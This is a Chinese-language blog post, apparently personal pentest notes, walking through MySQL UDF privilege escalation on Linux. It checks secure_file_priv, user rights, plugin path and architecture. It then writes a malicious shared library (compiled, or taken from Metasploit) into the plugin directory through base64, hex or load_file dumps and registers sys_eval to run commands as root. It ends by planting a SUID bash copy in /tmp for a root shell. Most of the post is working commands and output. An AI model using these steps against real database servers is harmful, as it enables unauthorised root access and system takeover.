Zumpyx's Blog

MySQL UDF 提权

linuxmysqlprivesc

Mysql udf 提权

条件检查

  1. 查看 secure_file_priv 是否为空
mysql> show variables like '%secure_file_priv%';
+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_file_priv |       |
+------------------+-------+
1 row in set (0.00 sec)
  1. 查看权限,最好是 root
mysql> select User from mysql.user where user = substring_index(user(), '@', 1) ;
+------+
| User |
+------+
| root |
+------+
1 rows in set (0.01 sec)
  1. 查看 plugin 路径(如果 secure_file_priv 的值为 plugin 路径,也可以尝试提权)
mysql> show variables like "%plugin%";
+---------------+------------------------+
| Variable_name | Value                  |
+---------------+------------------------+
| plugin_dir    | /usr/lib/mysql/plugin/ |
+---------------+------------------------+
1 row in set (0.00 sec)
  1. 查看 Mysql 版本,准备对应架构的 udf 链接库
mysql> show variables like 'version_compile_%';
+-------------------------+------------------+
| Variable_name           | Value            |
+-------------------------+------------------+
| version_compile_machine | i686             |
| version_compile_os      | debian-linux-gnu |
+-------------------------+------------------+
2 rows in set (0.00 sec)

开始利用

准备 udf 链接库

  • Linux 自行编译
# 编译源代码,不进行链接,生成 .o 文件
gcc -g -c udf.c -fPIC
# 链接成共享库
gcc -g -shared -Wl,-soname,udf.so -lc (-m32 链接32为程序时使用) -o udf.so udf.o
  • 利用 metasploit-framework 的,首先找到 metasploit-framework 目录
# 搜索
# find ./metasploit-framework -name '*udf*' 2>/dev/null
----------------------------
# 一般在此路径
metasploit-framework/embedded/framework/data/exploits/mysql/

[Oct 10, 2023 - 17:35:31 (CST)] exegol-Zer0-hex mysql # pwd                               
/opt/metasploit-framework/embedded/framework/data/exploits/mysql

[Oct 10, 2023 - 17:35:32 (CST)] exegol-Zer0-hex mysql # ls
lib_mysqludf_sys_32.dll  lib_mysqludf_sys_32.so  lib_mysqludf_sys_64.dll  lib_mysqludf_sys_64.so

加载动态链接库

  • 导入链接库
# base64 编码 udf.so 文件,并且搞到一行去
base64 udf.so | tr '\n' '@' | sed s/@//g
# 编码后的数据:f0VMRgEBAQAAAAA...
# 导出数据到插件路径
select from_base64('f0VMRgEBAQAAAAA...') into dumpfile '/usr/lib/mysql/plugin/udf.so';


#如果 base64 不支持,Hex 编码也可以
# Hex 编码 udf.so 文件,并且搞到一行去
xxd -ps udf.so | tr '\n' '@' | sed s/@//g
# 编码后的数据:7f454c46010101...
select unhex('7f454c46010101...') into dumpfile '/usr/lib/mysql/plugin/udf.so';


如果都不支持,可以创建临时表格存放数据,首先上传 udf.so 到目标机器 /tmp/udf.so
use mysql;
create table foo(line blob);
insert into foo values(load_file('/tmp/udf.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/udf.so';
  • 查看动态链接库有那些函数可以使用(以 Metasploit-framework 的 udf 为例)
nm -D lib_mysqludf_sys_32.so 
----------------------------------------
...
         U strncpy@GLIBC_2.0
00000a4c T sys_bineval
00000a47 T sys_bineval_deinit
00000a40 T sys_bineval_init
         U sysconf@GLIBC_2.0
00000ad4 T sys_eval
00000a3b T sys_eval_deinit
00000b9c T sys_eval_init
00000cee T sys_exec
...

可以使用 sys_eval
  • 创建函数
# 此处 udf.so 为 dumpfile 对应的文件名,sys_eval 为 dll 中的函数名
mysql> create function sys_eval returns string soname 'udf.so';
Query OK, 0 rows affected (0.00 sec)
  • 调用函数,以及提权手法
mysql> select sys_eval('id');
+----------------------------------------+
| sys_eval('id')                         |
+----------------------------------------+
| uid=0(root) gid=0(root) groups=0(root) |
+----------------------------------------+
1 row in set (0.01 sec)

mysql> select sys_eval('cp /bin/bash /tmp/shell; chmod +s /tmp/shell');
+----------------------------------------------------------+
| sys_eval('cp /bin/bash /tmp/shell; chmod +s /tmp/shell') |
+----------------------------------------------------------+
| NULL                                                     |
+----------------------------------------------------------+
1 row in set (0.00 sec)

$ ls -la /tmp/shell
-rwsr-s--x 1 root root ------ --- -- --:-- /tmp/shell
/tmp/shell 拥有 Suid 权限,/tmp/shell -p 即可获取 root shell